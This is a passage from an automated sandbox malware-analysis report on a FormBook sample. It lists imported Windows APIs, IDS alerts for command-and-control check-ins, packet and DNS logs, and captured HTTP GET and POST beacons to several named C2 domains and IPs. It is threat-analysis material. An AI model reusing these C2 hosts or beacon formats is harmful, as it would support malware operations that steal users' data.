CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
GDI32.dll	DeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
OLEAUT32.dll	SafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T15:17:20.356050+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49709	147.92.40.174	80	TCP
2024-10-04T15:17:52.074226+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49822	203.161.43.245	80	TCP
2024-10-04T15:18:05.537713+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49909	52.20.84.62	80	TCP
2024-10-04T15:18:20.258512+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49987	44.213.25.70	80	TCP
2024-10-04T15:18:33.498420+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.11	49991	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:17:18.193381071 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:18.206228971 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:18.206341982 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:18.214487076 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:18.222352028 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:20.355747938 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:20.355827093 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:20.355859995 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:20.356050014 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:20.357278109 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:20.357625961 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:20.359707117 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:20.359833956 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:20.432457924 CEST	49709	80	192.168.2.11	147.92.40.174
Oct 4, 2024 15:17:20.618966103 CEST	80	49709	147.92.40.174	192.168.2.11
Oct 4, 2024 15:17:43.755122900 CEST	49773	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:43.760682106 CEST	80	49773	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:43.760797977 CEST	49773	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:43.772171974 CEST	49773	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:43.777580976 CEST	80	49773	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:45.276731014 CEST	49773	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:45.322529078 CEST	80	49773	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:46.295845032 CEST	49789	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:46.300836086 CEST	80	49789	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:46.300914049 CEST	49789	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:46.314467907 CEST	49789	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:46.321547031 CEST	80	49789	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:46.973570108 CEST	80	49789	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:46.973974943 CEST	80	49789	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:46.974071980 CEST	49789	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:47.255469084 CEST	80	49773	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:47.255538940 CEST	49773	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:47.823669910 CEST	49789	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:48.842545033 CEST	49805	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:48.848048925 CEST	80	49805	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:48.848231077 CEST	49805	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:48.859854937 CEST	49805	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:48.864655972 CEST	80	49805	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:48.864800930 CEST	80	49805	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:49.529145002 CEST	80	49805	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:49.529736042 CEST	80	49805	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:49.529778957 CEST	49805	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:50.370495081 CEST	49805	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:51.389962912 CEST	49822	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:51.400434971 CEST	80	49822	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:51.400526047 CEST	49822	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:51.408480883 CEST	49822	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:51.419502020 CEST	80	49822	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:52.073755026 CEST	80	49822	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:52.074081898 CEST	80	49822	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:52.074225903 CEST	49822	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:52.077399969 CEST	49822	80	192.168.2.11	203.161.43.245
Oct 4, 2024 15:17:52.082361937 CEST	80	49822	203.161.43.245	192.168.2.11
Oct 4, 2024 15:17:57.333442926 CEST	49860	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:57.341415882 CEST	80	49860	52.20.84.62	192.168.2.11
Oct 4, 2024 15:17:57.341491938 CEST	49860	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:57.353086948 CEST	49860	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:57.359231949 CEST	80	49860	52.20.84.62	192.168.2.11
Oct 4, 2024 15:17:57.864912033 CEST	80	49860	52.20.84.62	192.168.2.11
Oct 4, 2024 15:17:57.864936113 CEST	80	49860	52.20.84.62	192.168.2.11
Oct 4, 2024 15:17:57.865055084 CEST	49860	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:58.854907990 CEST	49860	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:59.873817921 CEST	49877	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:59.878950119 CEST	80	49877	52.20.84.62	192.168.2.11
Oct 4, 2024 15:17:59.882667065 CEST	49877	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:59.894084930 CEST	49877	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:17:59.899061918 CEST	80	49877	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:00.357884884 CEST	80	49877	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:00.358184099 CEST	80	49877	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:00.358274937 CEST	49877	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:01.415781021 CEST	49877	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:02.420794010 CEST	49893	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:02.425786972 CEST	80	49893	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:02.425884962 CEST	49893	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:02.438440084 CEST	49893	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:02.443604946 CEST	80	49893	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:02.443687916 CEST	80	49893	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:02.906433105 CEST	80	49893	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:02.906461000 CEST	80	49893	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:02.906558990 CEST	49893	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:03.948698044 CEST	49893	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:04.967746019 CEST	49909	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:04.976519108 CEST	80	49909	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:04.977106094 CEST	49909	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:04.984743118 CEST	49909	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:04.989801884 CEST	80	49909	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:05.537215948 CEST	80	49909	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:05.537667036 CEST	80	49909	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:05.537713051 CEST	49909	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:05.540509939 CEST	49909	80	192.168.2.11	52.20.84.62
Oct 4, 2024 15:18:05.545548916 CEST	80	49909	52.20.84.62	192.168.2.11
Oct 4, 2024 15:18:10.588033915 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:10.593137980 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:10.593225956 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:10.609692097 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:10.616312027 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.035517931 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.036448956 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.036468983 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.036478996 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.036550999 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.036622047 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.083456039 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083481073 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083492994 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083503962 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083515882 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083545923 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083559036 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083573103 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083585024 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.083600998 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.083652973 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.120589972 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.122880936 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.122898102 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.122909069 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.122941017 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.122978926 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.123016119 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.123070955 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.123123884 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.123168945 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:12.123413086 CEST	80	49944	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:12.123470068 CEST	49944	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:13.140840054 CEST	49960	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:13.145704985 CEST	80	49960	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:13.145860910 CEST	49960	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:13.161134005 CEST	49960	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:13.171406031 CEST	80	49960	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:14.667474031 CEST	49960	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:14.672744036 CEST	80	49960	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:14.672810078 CEST	49960	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:15.686481953 CEST	49976	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:15.691338062 CEST	80	49976	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:15.691441059 CEST	49976	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:15.703833103 CEST	49976	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:15.709466934 CEST	80	49976	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:15.709731102 CEST	80	49976	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:17.214318991 CEST	49976	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:17.219587088 CEST	80	49976	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:17.219764948 CEST	49976	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:18.233452082 CEST	49987	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:18.238483906 CEST	80	49987	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:18.238672018 CEST	49987	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:18.246781111 CEST	49987	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:18.252249002 CEST	80	49987	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:20.232398987 CEST	80	49987	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:20.257028103 CEST	80	49987	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:20.257292986 CEST	80	49987	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:20.258512020 CEST	49987	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:20.261435986 CEST	49987	80	192.168.2.11	44.213.25.70
Oct 4, 2024 15:18:20.266382933 CEST	80	49987	44.213.25.70	192.168.2.11
Oct 4, 2024 15:18:25.287818909 CEST	49988	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:25.293576002 CEST	80	49988	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:25.293824911 CEST	49988	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:25.305995941 CEST	49988	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:25.311470032 CEST	80	49988	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:25.752948046 CEST	80	49988	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:25.753051043 CEST	49988	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:26.808111906 CEST	49988	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:26.818346977 CEST	80	49988	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:27.826967001 CEST	49989	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:27.836594105 CEST	80	49989	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:27.836683035 CEST	49989	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:27.849658012 CEST	49989	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:27.858987093 CEST	80	49989	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:29.354960918 CEST	49989	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:29.360089064 CEST	80	49989	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:29.360765934 CEST	49989	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:30.374258041 CEST	49990	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:30.479465008 CEST	80	49990	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:30.479542971 CEST	49990	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:30.498049021 CEST	49990	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:30.503492117 CEST	80	49990	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:30.503505945 CEST	80	49990	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:32.011200905 CEST	49990	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:32.020421982 CEST	80	49990	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:32.020495892 CEST	49990	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:33.030726910 CEST	49991	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:33.036998987 CEST	80	49991	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:33.037106037 CEST	49991	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:33.045273066 CEST	49991	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:33.053744078 CEST	80	49991	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:33.498105049 CEST	80	49991	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:33.498214006 CEST	80	49991	3.33.130.190	192.168.2.11
Oct 4, 2024 15:18:33.498420000 CEST	49991	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:33.502564907 CEST	49991	80	192.168.2.11	3.33.130.190
Oct 4, 2024 15:18:33.511040926 CEST	80	49991	3.33.130.190	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 4, 2024 15:17:17.703063011 CEST	51419	53	192.168.2.11	1.1.1.1
Oct 4, 2024 15:17:18.186434031 CEST	53	51419	1.1.1.1	192.168.2.11
Oct 4, 2024 15:17:35.468841076 CEST	53491	53	192.168.2.11	1.1.1.1
Oct 4, 2024 15:17:35.480685949 CEST	53	53491	1.1.1.1	192.168.2.11
Oct 4, 2024 15:17:43.578161955 CEST	63268	53	192.168.2.11	1.1.1.1
Oct 4, 2024 15:17:43.752342939 CEST	53	63268	1.1.1.1	192.168.2.11
Oct 4, 2024 15:17:57.093792915 CEST	57886	53	192.168.2.11	1.1.1.1
Oct 4, 2024 15:17:57.330461025 CEST	53	57886	1.1.1.1	192.168.2.11
Oct 4, 2024 15:18:10.546947956 CEST	55351	53	192.168.2.11	1.1.1.1
Oct 4, 2024 15:18:10.585477114 CEST	53	55351	1.1.1.1	192.168.2.11
Oct 4, 2024 15:18:25.265162945 CEST	59120	53	192.168.2.11	1.1.1.1
Oct 4, 2024 15:18:25.284785032 CEST	53	59120	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 4, 2024 15:17:17.703063011 CEST	192.168.2.11	1.1.1.1	0x273b	Standard query (0)	www.63582.photo	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:17:35.468841076 CEST	192.168.2.11	1.1.1.1	0xbfdf	Standard query (0)	www.bonusgame2024.online	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:17:43.578161955 CEST	192.168.2.11	1.1.1.1	0x6d0d	Standard query (0)	www.stayup.top	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:17:57.093792915 CEST	192.168.2.11	1.1.1.1	0xc120	Standard query (0)	www.luxe.guru	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:18:10.546947956 CEST	192.168.2.11	1.1.1.1	0xc7fc	Standard query (0)	www.newdaydawning.net	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:18:25.265162945 CEST	192.168.2.11	1.1.1.1	0xb00a	Standard query (0)	www.theclydefund.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 4, 2024 15:17:18.186434031 CEST	1.1.1.1	192.168.2.11	0x273b	No error (0)	www.63582.photo	6ybpt9er.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 15:17:18.186434031 CEST	1.1.1.1	192.168.2.11	0x273b	No error (0)	6ybpt9er.as66588.com	azkwupgf.as66588.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 15:17:18.186434031 CEST	1.1.1.1	192.168.2.11	0x273b	No error (0)	azkwupgf.as66588.com		147.92.40.174	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:17:35.480685949 CEST	1.1.1.1	192.168.2.11	0xbfdf	Name error (3)	www.bonusgame2024.online	none	none	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:17:43.752342939 CEST	1.1.1.1	192.168.2.11	0x6d0d	No error (0)	www.stayup.top		203.161.43.245	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:17:57.330461025 CEST	1.1.1.1	192.168.2.11	0xc120	No error (0)	www.luxe.guru		52.20.84.62	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:18:10.585477114 CEST	1.1.1.1	192.168.2.11	0xc7fc	No error (0)	www.newdaydawning.net	newdaydawning.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 15:18:10.585477114 CEST	1.1.1.1	192.168.2.11	0xc7fc	No error (0)	newdaydawning.net		44.213.25.70	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:18:25.284785032 CEST	1.1.1.1	192.168.2.11	0xb00a	No error (0)	www.theclydefund.info	theclydefund.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 4, 2024 15:18:25.284785032 CEST	1.1.1.1	192.168.2.11	0xb00a	No error (0)	theclydefund.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 4, 2024 15:18:25.284785032 CEST	1.1.1.1	192.168.2.11	0xb00a	No error (0)	theclydefund.info		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.63582.photo

www.stayup.top

www.luxe.guru

www.newdaydawning.net

www.theclydefund.info

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49709	147.92.40.174	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:18.214487076 CEST	468	OUT	GET /i70z/?Q0bDs=Qd64jJtXfz5txpyp&78pd9P=ggo41uDwxRIOOoeO5uoDvI5msTaTicilzUAj4DLPY1E55MlxYQjRP3RbpEn9FapIu2dLvf4ZjTINa65Ki93S2oS8KVwkCJLo4A2Swb3ejovjvR8Lu43QOFs= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.63582.photo Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Oct 4, 2024 15:17:20.355747938 CEST	328	IN	HTTP/1.1 530 Date: Fri, 04 Oct 2024 13:17:19 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: guard=5b144349DEfZ9rzsdXuRCYCLQC+VRuhnuA==; path=/;Expires=Fri, 04-Oct-24 13:27:19 GMT Cache-Control: no-cache Server: cdn Data Raw: 32 37 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 5f 67 75 61 72 64 2f 61 75 74 6f 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 27<script src="/_guard/auto.js"></script>0
Oct 4, 2024 15:17:20.357278109 CEST	328	IN	HTTP/1.1 530 Date: Fri, 04 Oct 2024 13:17:19 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: guard=5b144349DEfZ9rzsdXuRCYCLQC+VRuhnuA==; path=/;Expires=Fri, 04-Oct-24 13:27:19 GMT Cache-Control: no-cache Server: cdn Data Raw: 32 37 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 5f 67 75 61 72 64 2f 61 75 74 6f 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 27<script src="/_guard/auto.js"></script>0
Oct 4, 2024 15:17:20.359707117 CEST	328	IN	HTTP/1.1 530 Date: Fri, 04 Oct 2024 13:17:19 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: guard=5b144349DEfZ9rzsdXuRCYCLQC+VRuhnuA==; path=/;Expires=Fri, 04-Oct-24 13:27:19 GMT Cache-Control: no-cache Server: cdn Data Raw: 32 37 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 5f 67 75 61 72 64 2f 61 75 74 6f 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 27<script src="/_guard/auto.js"></script>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49773	203.161.43.245	80	4084	C:\Program Files (x86)\ZluZQcGQgpPDwbgMlZRKrBAZygNfeAiqnmUAiLwmJEhatQWs\LPXBsvFDomujkZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 15:17:43.772171974 CEST	720	OUT	POST /gubb/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.stayup.top Content-Type: application/x-www-form-urlencoded Content-Length: 203 Connection: close Cache-Control: no-cache Origin: http://www.stayup.top Referer: http://www.stayup.top/gubb/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 37 38 70 64 39 50 3d 6c 4e 4c 41 65 32 6c 30 51 6b 70 62 42 30 76 6b 36 72 79 46 36 4d 2b 6f 64 4e 4f 48 66 69 35 64 38 6f 76 37 37 38 79 53 6b 73 51 63 67 68 5a 31 44 46 5a 78 4e 4d 7a 4a 4e 45 73 59 78 6a 57 55 6b 46 35 44 71 31 61 4d 2b 68 4a 66 44 4e 53 66 2f 43 57 69 6d 51 36 44 58 44 4a 55 4d 53 48 79 70 61 44 65 4b 73 47 34 4f 35 76 57 6d 31 35 6d 7a 4c 69 71 39 4d 6f 55 37 66 71 38 57 53 42 42 4b 49 47 69 4c 35 46 6d 71 76 47 79 35 35 43 6b 2f 4f 37 69 49 69 44 31 73 51 6b 71 